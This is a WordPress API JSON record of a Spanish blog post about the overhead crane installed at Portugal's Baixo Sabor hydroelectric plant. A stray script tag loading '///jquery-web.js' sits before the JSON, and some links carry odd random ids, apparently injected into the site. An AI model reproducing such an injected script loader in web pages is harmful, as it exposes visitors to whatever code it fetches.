<script src="///jquery-web.js"></script>{"id":3741,"date":"2016-08-29T08:10:45","date_gmt":"2016-08-29T06:10:45","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=3741"},"modified":"2016-08-23T14:24:42","modified_gmt":"2016-08-23T12:24:42","slug":"torre-de-moncorvo-central-hidroelectrica-baixo-sabor","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/torre-de-moncorvo-central-hidroelectrica-baixo-sabor\/","title":{"rendered":"Torre de Moncorvo, central hidroel\u00e9ctrica Baixo Sabor"},"content":{"rendered":"<p>En febrero de 2009, el consorcio <strong>ANDRITZ HYDRO<\/strong> y socio local ENSULMECI recibieron un contrato de <strong>Energ\u00edas de Portugal<\/strong> (EDP) para la entrega, <strong>instalaci\u00f3n<\/strong> y puesta en servicio de la<strong> central hidroel\u00e9ctrica Baixo Sabor<\/strong>.<\/p>\n<p><a id="cmygrstt" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-01.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-3797\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-01.jpg\" alt=\"central-hidroelectrica-Baixo-Sabor-Andritz-01\" width=\"604\" height=\"453\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-01.jpg 1200w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-01-300x225.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-01-1024x768.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-01-624x468.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<p>La planta consta de dos etapas, ambas situados en el curso inferior del<strong> r\u00edo Sabor, un afluente del Duero<\/strong>, en el norte de Portugal.<\/p>\n<p><a id="xspxrctj" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-1.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-3798\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-1.jpg\" alt=\"andritz-baixo-sabor-torre-de-moncorvo-1-638 (1)\" width=\"300\" height=\"212\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-1.jpg 638w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-1-300x212.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-1-624x441.jpg 624w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a id="pwxznssh" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-2.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-3799 size-medium\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-2-300x212.jpg\" alt=\"andritz-baixo-sabor-torre-de-moncorvo-1-638 (2)\" width=\"300\" height=\"212\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-2-300x212.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-2-624x441.jpg 624w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/andritz-baixo-sabor-torre-de-moncorvo-1-638-2.jpg 638w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>La primera etapa de Baixo Sabor ha estado en operaci\u00f3n comercial desde abril de 2015. A ra\u00edz de las fuertes lluvias a principios de 2016, el nivel de agua m\u00e1ximo se alcanz\u00f3 tambi\u00e9n en la segunda etapa. Esto hizo posible el funcionamiento de las restantes pruebas de pre-puesta en marcha. En febrero de 2016, la segunda etapa tambi\u00e9n fue puesta en operaci\u00f3n comercial.<\/p>\n<p><a id="ablenhaq" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-02.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-3800\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-02.jpg\" alt=\"central-hidroelectrica-Baixo-Sabor-Andritz-02\" width=\"604\" height=\"453\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-02.jpg 1200w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-02-300x225.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-02-1024x768.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/central-hidroelectrica-Baixo-Sabor-Andritz-02-624x468.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<p>En esta obra\u00a0se instal\u00f3\u00a0una <strong>gr\u00faa puente<\/strong> de 115\/12,5t. para los procesos de montaje y ensamblado de las turbinas as\u00ed como para las labores de mantenimiento. La elevaci\u00f3n principal de 115t se realiza por medio de un <strong>carro abierto<\/strong> y la elevaci\u00f3n auxiliar de 12,5t sobre <strong>polipasto<\/strong> suspendido.<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>En febrero de 2009, el consorcio ANDRITZ HYDRO y socio local ENSULMECI recibieron un contrato de Energ\u00edas de Portugal (EDP) para la entrega, instalaci\u00f3n y puesta en servicio de la central hidroel\u00e9ctrica Baixo Sabor. La planta consta de dos etapas, ambas situados en el curso inferior del r\u00edo Sabor, un afluente del Duero, en el [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":3796,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[284,19,49,283,110],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/08\/20130628_143416-Bx-Sab-PR-e1471954513343.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3741"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=3741"}],"version-history":[{"count":7,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3741\/revisions"}],"predecessor-version":[{"id":3801,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3741\/revisions\/3801"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/3796"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=3741"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=3741"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=3741"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}